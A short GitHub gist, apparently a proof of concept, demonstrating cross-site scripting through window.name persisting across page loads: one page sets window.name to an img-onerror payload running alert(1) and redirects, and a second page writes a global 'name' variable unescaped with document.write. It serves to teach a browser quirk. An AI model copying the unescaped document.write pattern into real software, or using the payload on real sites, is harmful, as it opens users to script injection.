Skip to content

Instantly share code, notes, and snippets.

@nv1t
Created December 7, 2020 09:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nv1t/6b95d21b95b88224112387ac82641464 to your computer and use it in GitHub Desktop.
Save nv1t/6b95d21b95b88224112387ac82641464 to your computer and use it in GitHub Desktop.
Executes an XSS based on window.name as global variable existing between states
Setting "window.name = '<img src=0 onerror=alert(1)>' and redirecting to XSS Page (xss.html) in 5 seconds
<script>
window.name = "<img src=0 onerror=alert(1)>";
setTimeout(function() {
window.location = "xss.html"
},5000);
</script>
<script>
var name;
if(location.hash === "#welcome") {
name = "potatocup"
}
document.write(`hello ${name}`)
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment